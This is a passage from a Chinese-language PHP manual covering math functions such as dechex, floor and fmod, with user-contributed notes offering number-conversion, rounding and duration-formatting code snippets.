       $value = ($s - $modulo) / $exp;
       if (($value > 0) && ($start != 1)) {
           $start = 1;
       }
       if ($start == 1) {
           $decs = $value;
           $decs = ereg_replace ("10", "a", $decs);
           $decs = ereg_replace ("11", "b", $decs);
           $decs = ereg_replace ("12", "c", $decs);
           $decs = ereg_replace ("13", "d", $decs);
           $decs = ereg_replace ("14", "e", $decs);
           $decs = ereg_replace ("15", "f", $decs);
           $decs = ereg_replace ("16", "g", $decs);
           $decs = ereg_replace ("17", "h", $decs);
           $decs = ereg_replace ("18", "i", $decs);
           $decs = ereg_replace ("19", "j", $decs);
           $decs = ereg_replace ("20", "k", $decs);
           $decs = ereg_replace ("21", "l", $decs);
           $decs = ereg_replace ("22", "m", $decs);
           $decs = ereg_replace ("23", "n", $decs);
           $decs = ereg_replace ("24", "o", $decs);
           $decs = ereg_replace ("25", "p", $decs);
           $decs = ereg_replace ("26", "q", $decs);
           $decs = ereg_replace ("27", "r", $decs);
           $decs = ereg_replace ("28", "s", $decs);
           $decs = ereg_replace ("29", "t", $decs);
           $decs = ereg_replace ("30", "u", $decs);
           $decs = ereg_replace ("31", "v", $decs);
           $int_value = $int_value.$decs;
       }
       $s = $s - $value * $exp;
       $i++;
   }
   return $int_value;
}

function ttwdec($int_ttw) {
   $digits = strlen($int_ttw);
   while ($i < $digits) {
       $s = substr($int_ttw,$i,1);
       $decs = $s;
       $decs = ereg_replace ("a", "10", $decs);
       $decs = ereg_replace ("b", "11", $decs);
       $decs = ereg_replace ("c", "12", $decs);
       $decs = ereg_replace ("d", "13", $decs);
       $decs = ereg_replace ("e", "14", $decs);
       $decs = ereg_replace ("f", "15", $decs);
       $decs = ereg_replace ("g", "16", $decs);
       $decs = ereg_replace ("h", "17", $decs);
       $decs = ereg_replace ("i", "18", $decs);
       $decs = ereg_replace ("j", "19", $decs);
       $decs = ereg_replace ("k", "20", $decs);
       $decs = ereg_replace ("l", "21", $decs);
       $decs = ereg_replace ("m", "22", $decs);
       $decs = ereg_replace ("n", "23", $decs);
       $decs = ereg_replace ("o", "24", $decs);
       $decs = ereg_replace ("p", "25", $decs);
       $decs = ereg_replace ("q", "26", $decs);
       $decs = ereg_replace ("r", "27", $decs);
       $decs = ereg_replace ("s", "28", $decs);
       $decs = ereg_replace ("t", "29", $decs);
       $decs = ereg_replace ("u", "30", $decs);
       $decs = ereg_replace ("v", "31", $decs);
       $i++;
       $value = $decs * pow(32,($digits - $i));
       $int_value = $int_value + $value;
   }
   return $int_value;
}
m0sh3 at hotmail dot com
30-Jul-2003 08:41
This will can convert decimal of more than 2^48 in any PHP version:

$hex = dechex($dec>>24).dechex($dec & 0xFFFFFF)
allan-wegan at allan-wegan dot de
20-Jul-2003 01:53
now, here is a nice and small function to convert integers to hex strings and it avoids use of the DECHEX funtion because that function changed it's behavior too often in the past (now, in PHP version 4.3.2 it works with numbers bigger than 0x7FFFFFFF correctly, but i need to be backward compatible).

function &formatIntegerForOutput($value) {
   $text = "00000000";
   $transString = "0123456789ABCDEF";
   // handle highest nibble (nibble 7):
       $nibble = $value & 0x70000000;
       $nibble >>= 28;
       if ($value < 0) {
           $nibble = $nibble | 0x00000008;
       }
       $text[0] = $transString[$nibble];
       $value &= 0x0FFFFFFF;
   // nibbles 0 to 6:
       for ($a = 7; $a > 0; $a --) {
           $nibble = $value & 0x0000000F;
           $text[$a] = $transString[$nibble];
           $value >>= 4;
       }
   return $text
}

this function should be not too slow and is really simple.
I don't know, if the DECHEX function in the future will pad it's output to ever be 8 characters in length - so for backward compatibility reasons even in future PHP versions i avoided to use it.
paoligno at tin dot it
15-Mar-2003 11:32
you can use this workaround (raw but simple and efficient)

$string=DecHex($string*1)

bye bye
the_tenth at pandora dot be
30-Sep-2002 05:12
<?

function dec2hex($number) {
$length=16;
$hexval="";
while ($number>0) {
$remainder=bcmod($number,16);
if ($remainder<10)
$hexval=$remainder.$hexval;
elseif ($remainder==10)
$hexval="A".$hexval;
elseif ($remainder==11)
$hexval="B".$hexval;
elseif ($remainder==12)
$hexval="C".$hexval;
elseif ($remainder==13)
$hexval="D".$hexval;
elseif ($remainder==14)
$hexval="E".$hexval;
elseif ($remainder==15)
$hexval="F".$hexval;
$number=bcdiv($number,16);
}
while (strlen($hexval)<$length) $hexval="0".$hexval;
return $hexval;
}

$tmp = "<table width='643' border='1'>";
$x = 1;
$y = 1;
$z = dec2hex($x);
$q = dec2hex($y);
for ($i=1;$i<65;$i++){
   $x= bcpow(2,($i-1));
   $z = dec2hex($x);
   $tmp .="<tr><td width='20' align='center' bgcolor='#808080'><font color='#ffffff'>". $i;
   $tmp .="</font></td><td width='5'>2<sup>". ($i-1) . "</sup></td><td width='2'>=</td></td><td>" . $x . "</td>";
   $tmp .="<td>".$z."</td><td>".$y."</td><td>".$q."</td></tr>";
   $y = bcsub(bcpow(2,$i+1),1);
   $q = dec2hex($y);

}
$tmp .= "</table>";
echo $tmp;
?>
monkyNOSPAM at phpfi dot org dot invalid
24-Sep-2002 10:20
Here's how to use bitwise operations for RGB2hex conversion. This function returns hexadesimal rgb value just like one submitted by gurke@bigfoot.com above.

function hexColor($color) {
  return dechex(($color[0]<<16)|($color[1]<<8)|$color[2]);
}

example:

$col[0] = 25;
$col[1] = 255;
$col[2] = 55;

print hexColor($col);
joost at bingopaleis dot com
29-Apr-2002 12:21
Here are two functions that will convert large dec numbers to hex and vice versa. And I really mean LARGE, much larger than any function posted earlier.

<pre>
// Input: A decimal number as a String.
// Output: The equivalent hexadecimal number as a String.
function dec2hex($number)
{
   $hexvalues = array('0','1','2','3','4','5','6','7',
               '8','9','A','B','C','D','E','F');
   $hexval = '';
     while($number != '0')
     {
       $hexval = $hexvalues[bcmod($number,'16')].$hexval;
       $number = bcdiv($number,'16',0);
   }
   return $hexval;
}

// Input: A hexadecimal number as a String.
// Output: The equivalent decimal number as a String.
function hex2dec($number)
{
   $decvalues = array('0' => '0', '1' => '1', '2' => '2',
               '3' => '3', '4' => '4', '5' => '5',
               '6' => '6', '7' => '7', '8' => '8',
               '9' => '9', 'A' => '10', 'B' => '11',
               'C' => '12', 'D' => '13', 'E' => '14',
               'F' => '15');
   $decval = '0';
   $number = strrev($number);
   for($i = 0; $i < strlen($number); $i++)
   {
       $decval = bcadd(bcmul(bcpow('16',$i,0),$decvalues[$number{$i}]), $decval);
   }
   return $decval;
}
</pre>
jfren484 at hotmail dot com
13-Feb-2002 07:47
Here's a function which works for decimal values up to 9007199254740992 (hex 20000000000000).

function dec2hex($dec)
{
  $hex = ($dec == 0 ? '0' : '');

  while ($dec > 0)
  {
   $hex = dechex($dec - floor($dec / 16) * 16) . $hex;
   $dec = floor($dec / 16);
  }

  return $hex;
}
kristoffer at caveo dot se
11-Feb-2002 09:39
Heres a example of dec to html hex gradient. Have fun :)

//Amount of gradients
$l = 20;

//Start color
$start[0] = "255";    //red
$start[1] = "0";    //green
$start[2] = "255";    //blue

//End color
$end[0] = "255";    //red
$end[1] = "255";    //green
$end[2] = "255";    //blue

for ($t = 1; $t < $l;) {

   $x = $x * $t;

   for ($i = 0; $i < 3;) {

       $buffer[$i] = $start[$i] - $end[$i];
       $buffer[$i] = floor($buffer[$i] / $l);
       $rgb[$i] = $start[$i] - ($buffer[$i] * $t);

       if ($rgb[$i] > 255) {

           $rgb[$i] = 255;

       }

       $rgb[$i] = dechex($rgb[$i]);
       $rgb[$i] = strtoupper($rgb[$i]);

       if (strlen($rgb[$i]) < 2) {

           $rgb[$i] = "0$rgb[$i]";

       }

       $i++;

   }

   $color = "$rgb[0]$rgb[1]$rgb[2]";
   echo "$color";
       $t++;

}

?>
c_westerbeek at hotmail dot com
28-Sep-2001 07:48
echo dec2hex(123, 5);
will show: 0007b

echo dec2hex(708191, 10);
will show: 00000ace5f
c_westerbeek at hotmail dot com
25-Sep-2001 06:20
a dec 2 hex function that goes way beyon 7fffffff. I don't now wat the limit is. float's precision is 14 decimal digits so the precision of dec2hex should be 5AF3107A3FFF (=99999999999999)

function dec2hex($number, $length) {
  $hexval="";
  while ($number>0) {
   $remainder=$number%16;
   if ($remainder<10)
     $hexval=$remainder.$hexval;
   elseif ($remainder==10)
     $hexval="a".$hexval;
   elseif ($remainder==11)
     $hexval="b".$hexval;
   elseif ($remainder==12)
     $hexval="c".$hexval;
   elseif ($remainder==13)
     $hexval="d".$hexval;
   elseif ($remainder==14)
     $hexval="e".$hexval;
   elseif ($remainder==15)
     $hexval="f".$hexval;
   $number=floor($number/16);
  }
  while (strlen($hexval)<$length) $hexval="0".$hexval;
//this is just to add zero's at the beginning to make hexval a certain length
  return $hexval;
}
gurke at bigfoot dot com
26-Mar-2001 09:31
usefull if you need to convert decimal colors to html style hex colors:

function hexColor($color) {
 return sprintf("%02X%02X%02X",$color[0],$color[1],$color[2]);
}

example:

$col[0] = 25;
$col[1] = 255;
$col[2] = 55;

print hexColor($col);
22-Mar-2001 02:26
# dec2hex function
#
#  For hex numbers that go up to FFFFFFFF (instead of 7FFFFFFF)
#
#              crude but does the job...
#

function dec2hex($dec)
{

if($dec > 2147483648)
       {
       $result = dechex($dec - 2147483648);
       $prefix = dechex($dec / 268435456);
       $suffix = substr($result,-7);
       $hex = $prefix.str_pad($suffix, 7, "0000000", STR_PAD_LEFT);
       }
else
       {
       $hex = dechex($dec);
       }

return($hex);
}
add a note add a note

后退 | 起点 | 前进
decbin | 上一级 | decoct


decoct

(PHP 3, PHP 4, PHP 5)

decoct -- 十进制转换为八进制

说明

string decoct ( int number )

返回一字符串，包含有给定 number 参数的八进制表示。所能转换的最大数值为十进制的 4294967295，其结果为 "37777777777"。

例子 1. decoct() 范例

<?php
echo decoct(15) . "\n";
echo decoct(264);
?>

上例将输出：

17
410

参见 octdec()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
dechex | 上一级 | deg2rad


deg2rad

(PHP 3 >= 3.0.4, PHP 4, PHP 5)

deg2rad -- 将角度转换为弧度

说明

float deg2rad ( float number )

本函数把 number 从角度转换成弧度。

例子 1. deg2rad()

<?php

    echo deg2rad(45); // 0.785398163397
    var_dump(deg2rad(45) === M_PI_4); // bool(true)

    ?>

参见 rad2deg()。

add a note add a note User Contributed Notes
berndt at www dot michael - berndt dot de
01-Sep-2005 04:12
geformte Wellen erstellen mit deg2rad ()

Beispiel :
http://www.michael-berndt.de/ie/tux/welle.png

Code :
http://www.michael-berndt.de/ie/tux/deg2rad.htm
16-Dec-2004 02:20
Definition

<?
function deg2rad($arg) {
 return $arg*pi()/180;
}
?>
add a note add a note

后退 | 起点 | 前进
decoct | 上一级 | exp


exp

(PHP 3, PHP 4, PHP 5)

exp -- 计算 e（自然对数的底）的指数

说明

float exp ( float arg )

返回 e 的 arg 次方值。

注: 用 'e' 作为自然对数的底 2.718282.

例子 1. exp() 范例

<?php
echo exp(12) . "\n";
echo exp(5.7);
?>

上例将输出：

1.6275E+005
298.87

参见 log() 和 pow()。

add a note add a note User Contributed Notes
boards at gmail dot com
27-Apr-2006 01:18
Note regarding the mathematical function exp(x):

To continue accuracy of the exponential function to an infinite amount of decimal places, one would use the power series definition for exp(x).
(in LaTeX form:)
e^x = \sum_{n=0}^{\infty} \frac{x^n}{n!}

So, to do that in PHP (using BC math):

<?php
// arbitrary precision function (x^n)/(n)!
function bcpowfact($x, $n) {
  if (bccomp($n, '0') == 0) return '1.0';
  if (bccomp($n, '1') == 1) return $x;
  $a = $x; // nth step: a *= x / 1
  $i = $n;
  while (bccomp($i, '1') == 1) {
   // ith step: a *= x / i
   $a = bcmul($a, bcdiv($x, $i));
   $i = bcsub($i, '1'); // bc idiom for $i--
  }
  return $a;
}

// arbitrary precision exp() function
function bcexp($x, $decimal_places) {
  $sum = $prev_sum = '0.0';
  $error = bcdiv(bcpow('10', '-'.$decimal_places), 10); // 0.1*10^-k
  $n = '0';
  do {
   $prev_sum = $sum;
   $sum = bcadd($sum, bcpowfact($x, $n));
  }
  while (bccomp(bcsub($sum, $prev_sum), $error) == 1);
  return $sum;
}
?>
info at teddycaddy dot com
16-Sep-2004 09:55
This only returns the first 51 digits after the decimal point.
add a note add a note

后退 | 起点 | 前进
deg2rad | 上一级 | expm1


expm1

(PHP 4 >= 4.1.0, PHP 5)

expm1 -- 返回 exp(number) - 1，甚至当 number 的值接近零也能计算出准确结果

说明

float expm1 ( float number )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

expm1() 返回 'exp(number) - 1'，甚至当 number 的值接近零也能计算出准确结果。但是当两个数值趋近于相等的时候， 'exp (number) - 1' 就会变得不太准确。

注: 本函数未在 Windows 平台下实现。

参见 log1p() 和 exp()。

add a note add a note User Contributed Notes
hagen at von-eitzen dot de
24-Feb-2003 07:57
Compare this to log1p (which is its inverse).

Also, You may have to use a similar workaraound in case the underlying C library
does not support expm1:

function expm1($x) {
     return ($x>-1.0e-6 && $x<1.0e-6) ? ($x + $x*$x/2) : (exp($x)-1);
}
add a note add a note

后退 | 起点 | 前进
exp | 上一级 | floor


floor

(PHP 3, PHP 4, PHP 5)

floor -- 舍去法取整

说明

float floor ( float value )

返回不大于 value 的下一个整数，将 value 的小数部分舍去取整。floor() 返回的类型仍然是 float，因为 float 值的范围通常比 integer 要大。

例子 1. floor() 例子

<?php
echo floor(4.3);   // 4
echo floor(9.999); // 9
?>

参见 ceil() 和 round()。

add a note add a note User Contributed Notes
Jared Fine
30-May-2006 11:16
Due to the floating point precision issue (http://www.php.net/float) if you round() one additional decimal point prior to calling floor() you will get the expected result.

For example:
echo floor((0.1 + 0.7) * 10); // echo's 7
echo floor(round((0.1 + 0.7) * 10, 1)); // echo's 8
Andreas Blixt
28-May-2006 04:26
Simpler version of Bruteork's example (though not making use of floor()):
<?php
if ($counter % 2 == 0) echo "even";
?>
peter at harbour-design dot co dot uk
25-Jan-2005 05:52
If you are after just removing the decimal places and returning an integer, try:

<?
$iPosDecimalNo = 5.67;
$iNegDecimalNo = -5.67;

print (int)$iPosDecimalNo;
print (int)$iNegDecimalNo;
?>

result will:

5
-5

No rounding up or down, just truncation and works for positive and negative numbers.
sam at bigroomstudios dot com
31-Aug-2004 11:59
Here's a way to get around jolyon's 79.99 problem (below).  If you want to take a float value representing a price and drop off any fractions of a cent, use this:

<?php

function round_to_penny($amount){

   $string = (string)($amount * 100);

   $string_array = split("\.", $string);

   $int = (int)$string_array[0];

   $return = $int / 100;

   return $return;

}

print( round_to_penny(79.99999) ); //result: 79.99

?>

Probably not super efficient, but get's the job done if you've already invested in using float values.

Cheers,
Sam
jolyon at mways dot co dot uk
11-Aug-2004 12:41
Beware of FLOAT weirdness!

Floats have a mind of their own, and what may look like an integer stored in a float isn't.

Here's a baffling example of how floor can be tripped up by this:

<?
$price = 79.99;

print $price."\r\n";    // correct result, 79.99 shown

$price = $price * 100;

print $price."\r\n";    // correct result, 7999 shown

print floor($price);    // 7998 shown! what's going on?
?>

The thing to remember here is that the way a float stores a value makes it very easy for these kind of things to happen. When the 79.99 was multiplied by 100, the actual value stored in the float was probably something like 7998.9999999999999999999999999999999999, PHP would print out 7999 when the value is displayed but floor would therefore round this down to 7998.

THe moral of this story - never use float for anything that needs to be accurate! If you're doing prices for products or a shopping cart, then always use an integer and store prices as a number of pence, you'll thank me for this later :)
illyena at musefish dot net
13-May-2004 06:53
For calculating the number of days, hours, minutes and seconds to an event.

<?
$then = date(mktime(8,0,0,6,25,2004)); //remember that mktime is hour,min,sec,month,day,year
$now = date("U"); // "U" is the number of seconds since the epoch, equivilant to using "YmdHis"

$time = $then - $now; //gets the number of seconds between now and the event
$days = floor($time/86400); //rounds down to the whole number, in this case # of days
echo $days." Days";
$time = $time - ($days*86400); //leaves you with the amount of time ramaining after subtracting the days
$hours = floor($time/3600); //rounds down to the whole number, in this case # of hours
echo $hours." Hours";
$time = $time - ($hours*3600); //leaves you with the amount of time ramaining after subtracting the hours
$min = floor($time/60); //rounds down to the whole number, in this case # of minutes
echo $min." Minutes";
$sec = $time - ($min*60); //leaves you with the amount of time ramaining after subtracting the minutes which is equivilant to the remainins seconds
echo $sec." Seconds";
?>
twindagger2k3 at NOSPAMyahoo dot com
14-Feb-2004 07:58
In response to PHP Helper, the floor function does strip the decimal part if the number is positive. However, if the number is negative, it will not. for example:

<?php

$test = 5.6;
echo floor($test); //5

$test = -5.6;
echo floor($test); //-6

?>

The rounding mentioned in PHP Helper's post will work for both positive and negative numbers.
PHP Helper
20-Dec-2003 06:39
floor basically truncates, or chops off everything to the right of a decimal. For instance, if you have a length of 5.1234, but just wanted the whole number, you could use the following code:

<?php
$length = 5.1234; //this is our original length
$length = floor($length); //length is truncated, original variable name is kept
print "$length"; //this prints our result
?>

This code would print the following: 5

Now, although there is a specific function in PHP for rounding, rounding can also be performed with the floor function. Let's say we wanted to round the length to the hundredths place.

<?php
$length = 5.1234;
$length = floor(($length) * 100 + .5) * .01;
print "$length";
?>

The result is: 5.12

This works because, first, the length is multiplied by 100, which moves the decimal point to the right two places, giving us the value of 512.34. Next .5 is added to the length, which gives us a value of 512.84. Then the floor function truncates the value, leaving us with 512. Lastly, to compensate for multiplying by 100 earlier, now we must divide by 100, or in this case, multiply by .01. This moves the decimal point back 2 places to it's original place and gives us the rounded value of 5.12.

We can also round to other values, such as the thousandths, by adjusting the code as follows:

<?php
$length = 5.1234;
$length = floor(($length) * 1000 + .5) * .001;
print "$length";
?>

Result: 5.123
asp55 at digiclub dot org
15-Feb-2003 06:52
Just a quick example of how to use this method

The first is just used to determine whether a number is even or odd:

<?
if(($x - (2 * floor($x/2))) == 0) echo "even";
else echo "odd";
?>

The second is just to determine a persons age by comparing their birthday with the current date and rounding down:

<? $age = floor((date(Ymd) - $bday)/10000); ?>
10-Sep-2002 06:08
mathematical functions lack a floating point version of the modulo operation, which returns the difference between the floor() of the argument and the argument itself:

function fmod($value) {
  return $value - floor($value);
}

Very useful with trigonometric functions to reduce the angle argument to a circle that includes angle 0.

Useful also to reduce an arbitrarily large floating point value into an entropy source, by first transforming this value into a pair using logarithm functions with distinct bases (add 1 if the function can return 0, to avoid floating point errors with logarithms!):

$f = 1 + @disk_free_space("/tmp");
$r = (int)(fmod(Log($f)) * 0x7FFFFFFF)
^ (int)(fmod(Log10($f)) * 0x7FFFFFFF)

Then $r can be used as a good entropy source, if the free space in your temporary folder used by PHP is constantly evolving within a large range of values.

You can combine this value by xoring it with other values such as time(), (int)microtime(), ip2long($_SERVER['REMOTE_ADDR'], $_SERVER['REMOTE_PORT'], getmypid(), ...
thouartjay at hotmail dot com
24-Jun-2002 09:37
In response to netben's comment, another conversion for a string is:

$myStr = "29.01";
$myStr = (float) $myStr;

In all, any string (as used as in this example) will be treated as float, and no conversion necessary.
alhall at jcw dot org
28-Feb-2002 01:17
//Using floor() to round decimals.
$original_price=12.72
$discount=$original_price*.40;
  $discount=floor(($discount * 100)+.5)/100;
//$discount=5.088
//$discount after floor() = 5.09
mail at sebastian-bopp dot de
07-Feb-2002 12:37
Note:

echo floor(1.6); // will output "1"
echo floor(-1.6); // will output "-2"
add a note add a note

后退 | 起点 | 前进
expm1 | 上一级 | fmod


fmod

(PHP 4 >= 4.2.0, PHP 5)

fmod -- 返回除法的浮点数余数

说明

float fmod ( float x, float y )

返回被除数（x）除以除数（y）所得的浮点数余数。余数（r）的定义是：x = i * y + r，其中 i 是整数。如果 y 是非零值，则 r 和 x 的符号相同并且其数量值小于 y。

例子 1. 使用 fmod()

<?php
$x = 5.7;
$y = 1.3;
$r = fmod($x, $y);
// $r equals 0.5, because 4 * 1.3 + 0.5 = 5.7
?>

add a note add a note User Contributed Notes
cory at lavacube dot net
09-Dec-2005 02:13
I don't believe that is correct.

Try this out using your patch:
<?php

echo duration( mktime(0, 0, 0, 1, 0, 2006)-time() );

?>

As of right now, this will read:
1 month, 22 days, 24 hours, 49 minutes, 15 seconds

Which is completely incorrect. Seeing as how it is the 9th of December.

The real real flaw here is how the 'year' and 'month' periods are calculated. As most months vary in length...

Thank you very much SnakeEater251 for pointing this out.

The quickest way to get slightly more accurate results, is to use averages based on one "true" year, which is 365.25 days.

Change the year and month to:
     'year'      => 31557600, // one 'true year' (365.25 days)
     'month'    => 2629800, // one 'true year' divided by 12 :-)

I will work on developing a true fix, for pin-point accuracy. ;-)

 - Cory Christison
SnakeEater251
27-Nov-2005 02:16
Note on the code given by cory at lavacube dot net.
You will recieve better results by not using floor and using round instead. As you continue increasing to larger amounts of time you will notice that the outputted time is off by large amounts.

so instead of $temp = floor( $int_seconds / $length );
we would use  $temp = round( $int_seconds / $length );

<?php

function duration( $int_seconds=0, $if_reached=null )
{
   $key_suffix = 's';
   $periods = array(
                   'year'        => 31556926,
                   'month'        => 2629743,
                   'day'        => 86400,
                   'hour'        => 3600,
                   'minute'    => 60,
                   'second'    => 1
                   );

   // used to hide 0's in higher periods
   $flag_hide_zero = true;

   // do the loop thang
   foreach( $periods as $key => $length )
   {
       // calculate
       $temp = round( $int_seconds / $length );

       // determine if temp qualifies to be passed to output
       if( !$flag_hide_zero || $temp > 0 )
       {
           // store in an array
           $build[] = $temp.' '.$key.($temp!=1?'s':null);

           // set flag to false, to allow 0's in lower periods
           $flag_hide_zero = false;
       }

       // get the remainder of seconds
       $int_seconds = fmod($int_seconds, $length);
   }

   // return output, if !empty, implode into string, else output $if_reached
   return ( !empty($build)?implode(', ', $build):$if_reached );
}

?>
cory at lavacube dot net
26-Nov-2005 04:38
A more formal way for generating duration strings:

<?php

function duration( $int_seconds=0, $if_reached=null )
{
   $key_suffix = 's';
   $periods = array(
                   'year'        => 31556926,
                   'month'        => 2629743,
                   'day'        => 86400,
                   'hour'        => 3600,
                   'minute'    => 60,
                   'second'    => 1
                   );

   // used to hide 0's in higher periods
   $flag_hide_zero = true;

   // do the loop thang
   foreach( $periods as $key => $length )
   {
       // calculate
       $temp = floor( $int_seconds / $length );

       // determine if temp qualifies to be passed to output
       if( !$flag_hide_zero || $temp > 0 )
       {
           // store in an array
           $build[] = $temp.' '.$key.($temp!=1?'s':null);

           // set flag to false, to allow 0's in lower periods
           $flag_hide_zero = false;
       }

       // get the remainder of seconds
       $int_seconds = fmod($int_seconds, $length);
   }

   // return output, if !empty, implode into string, else output $if_reached
   return ( !empty($build)?implode(', ', $build):$if_reached );
}

?>

Simple use:
<?php

   echo duration( mktime(0, 0, 0, 1, 1, date('Y')+1) - time(), 'Some fancy message to output if duration is already met...' );

?>

Enjoy. :-)
cory at simplesystems dot ca
23-Nov-2005 09:39
Just a note on the previous note by Ryan Means:

Instead of using explode() to get the number before the decimal point, would be to use floor()... floor() rounds fractions down, which is exactly what is needed.

His same example using floor();

<?PHP
$totalsec=XXXXXXX; //Replace the X's with a int value of seconds

$daysarray = floor( $totalsec/86400 );

$partdays = fmod($totalsec, 86400);
$hours = floor( $partdays/3600 );

$parthours = fmod($partdays, 3600);
$min = floor( $parthours/60 );

$sec = fmod($parthours, 60);

echo "days " . $days . "<br>";
echo "hours " . $hours . "<br>";
echo "minutes " . $min . "<br>";
echo "seconds " . $sec . "<br>";
?>
Ryan Means
11-May-2005 09:15
If your given a number of seconds and you want to turn it into Days, hours, minutes, and seconds:
(this is very useful when using the Unix Time Epoch to find the difference from one time to the other)

For Example:
I posted in a bb at one date.. when I post a Unix Time Epoch was marked..
Then When I go back and view it again 2 weeks later I generate the Unix Time Epoch for the current time.
Then take the current time - the posting time, this gives the number of seconds since the post.
Then use the below equations to get days, hours, minutes, and seconds since the post was made:

<?PHP
$totalsec=XXXXXXX; //Replace the X's with a int value of seconds

$daysarray = explode(".", ($totalsec/86400));
$days = $daysarray[0];

$partdays = fmod($totalsec, 86400);
$hoursarray = explode(".", ($partdays/3600));
$hours = $hoursarray[0];

$parthours = fmod($partdays, 3600);
$minarray = explode(".", ($parthours/60));
$min = $minarray[0];

$sec = fmod($parthours, 60);

echo "days " . $days . "<br>";
echo "hours " . $hours . "<br>";
echo "minutes " . $min . "<br>";
echo "seconds " . $sec . "<br>";
?>
sam dot fullman at verizon
24-Feb-2005 11:29
This function behaves wierd in negative regions.  If you have something like an angle that goes through 360 degress of rotation and your angle goes negative, then fmod of -1 should be 359, right?

Here's a way to get that result, so that you get a phase shift vs. just a "negative fmod":

$h= -30; //same as 330 degrees

//handle negative
if($h<0){
   while(true){
       $fail++; if($fail>100)break; //in case loop gets tied up
       $h+=360;
       if($h>=0)break;
   }
}
$h=fmod($h,360);

echo $h;  //will say 330 degrees - we phase shifted up until positive.
rocan
20-Feb-2005 10:10
john at digitizelife dot com:

Well not sure how your comment applys to fmod..

but their is a sure simpler way of coping with situations like this..

its called a bit field (bit masking)

e.g.

/* Categories */
bin    dec  cat
0001 - 1 - Blue
0010 - 2 - Red
0100 - 4 - Green
1000 - 8 - Yellow

/* Permissions */
0010 - 2  - Bob
0101 - 5    - John
1011 - 11  - Steve
1111-  15 - Mary

to find out the permissions for each user you simple need to do a bitwise AND

$steve_auth=11;

function get_perm($auth)
{
   $cats["Blue"]=1;
   $cats["Red"]=2;
   $cats["Green"]=4;
   $cats["Yellow"]=8;
   $perms=array();
   foreach($cats as $perm=>$catNum)
   {
         if($auth & $catNum)
               $perms[$perm]=true;

   }

   return $perms;
}

print_r(get_perm($steve_auth));
/*
returns
Array
(
   [Blue] => 1
   [Red] => 1
   [Yellow] => 1
)
*/

This is far simpler than your prime number idea, in fact you dont even need a function in any tests for the permmsions on a user you can do them directly using the bitwise and operator.

You may want to read the following

http://en.wikipedia.org/wiki/Bitmask
http://uk2.php.net/manual/en/language.operators.bitwise.php
john at digitizelife dot com
25-Jan-2005 08:09
In the process of writing an authentication process for my software, I came across the need for a permissions function. Basically, I wanted to use prime numbers to indicate a specified permission 'group' or 'category'. For example, the categories could be asigned a prime number as follows;

/* Categories */
2 - Blue
3 - Red
5 - Green
7 - Yellow

Then, a permission level can be assigned to a user as follows;

/* Permissions */
3 - Bob
10 - John
42 - Steve
210 - Mary

Using the prime number assigned to the specified category, you can specify access to each category by multiplying the allowed categories together. For example, Bob only has access to Red, whereas Steve has access to Red, Blue and Yellow.

Only prime numbers work because the resulting permission number can only be devided evenly by 1, itself, and one of the prime numbers. So, a script can be written to look for the multiples of the permission number. Here is what I came up with;

function get_perm($auth) {

   /* initialize variables */
   $perm = array();
   $count = 0;

   for ($x = 1; $x <= $auth; $x++) {
       $result = $auth / $x;
       if (!ereg("[.]", $result)) { // is whole number
           $n = 0;
           for ($y = 1; $y <= $x; $y++) {
               $result = $x / $y;
               if (!ereg("[.]", $result)) { // is whole number
                   $n++;
               }
           }
           if ($n == 2) {
               $count++;
               $perm[$count] = $x;
           }
       }
   }
   return($perm);
}

The function starts by looking for multiples of $auth (the given authorization number [42]). Then it checks to see if that multiple is prime. If it is, the script inserts the value into array $perm.

When called, the function will return the array of permissions for the given authorization number. For example;

$auth = 42;

$perm = get_perm($auth);

$perm will now contain the numbers; 2, 3, 7 since 2*3*7=42. The values can be parsed by using a simple loop.

/* count number of permisions */
$count = count($perm);

/* print permisions */
while ($count > 0) {
   echo "$perm[$count]<br>";
   $count--;
}

If there is a more simple way to acheive the previous results, please feel free to comment (and e-mail me). I orignally thought PHP was able to do this simply by mod($auth). However, I was wrong.
jphansen at uga dot edu
11-Jan-2005 03:44
fmod() does not mirror a calculator's mod function. For example, fmod(.25, .05) will return .05 instead of 0 due to floor(). Using the aforementioned example, you may get 0 by replacing floor() with round() in a custom fmod().

<?
function fmod_round($x, $y) {
   $i = round($x / $y);
   return $x - $i * $y;
}

var_dump(fmod(.25, .05)); // float(0.05)
var_dump(fmod_round(.25, .05)); // float(0)
?>
konstantin at rekk dot de
27-May-2004 11:10
If you need to reduce an integer to zero if zero and 1 if not, you can use

$sign = (integer)(boolean)$integer;

instead of

$sign = $integer > 0 ? 1 : 0;

it is faster from 100 operations on (at least on my machine).
alex at xelam dot net
17-Feb-2004 05:19
Integer Modulo

If you want the remainder of the division of two Integers rather than Floats, use "%"; eg:

<?php
$a = 4;
$b = 3;

print($a % $b);
?>

Will output "1".
Jon
10-May-2003 04:25
for those w/o fmod, here is q lil' add-on function you can use to replicate it:

function fmodAddOn($x,$y)
{
       $i = floor($x/$y);

       // r = x - i * y
       return $x - $i*$y;
}
fjeanson at yahoo dot com
10-Mar-2003 12:16
For those of you still using PHP 4.1.X and below.. fmod is not available. You can easily check if a variable a multiple of 2 by doing the following which is compatible with 4.1.X and below:

$var; //variable to check if multiple of 2 or not

$stype = gettype($var/2); //returns the type of the result.
if($stype == "integer"){
   echo "$var is a multiple of two! Yay!";
} else {
   echo "$var is NOT a multiple of two! Yay, I guess!";
}

since 3/2 = 1.5 its a float..
4/2 = 2 its an integer..

$stype will be equal to "double" if the variable is a float.. for historical reasons.

voila.
picaune at hotmail dot com
10-Mar-2003 07:57
NAN (.net Equivalent = Double.NaN) means "Not-a-Number".
Some ways to get NaN are modulo 0, and square root of 0.
add a note add a note

后退 | 起点 | 前进
floor | 上一级 | getrandmax


getrandmax

(PHP 3, PHP 4, PHP 5)

getrandmax -- 显示随机数最大的可能值

说明

int getrandmax ( void )

返回调用 rand() 可能返回的最大值。

参见 rand()，srand() 和 mt_getrandmax()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
fmod | 上一级 | hexdec


hexdec

(PHP 3, PHP 4, PHP 5)

hexdec -- 十六进制转换为十进制

说明

number hexdec ( string hex_string )

返回与 hex_string 参数所表示的十六进制数等值的的十进制数。hexdec() 将一个十六进制字符串转换为十进制数。所能转换的最大数值为 7fffffff，即十进制的 2147483647。PHP 4.1.0 开始，该函数可以处理大数字，这种情况下，它会返回 float 类型。

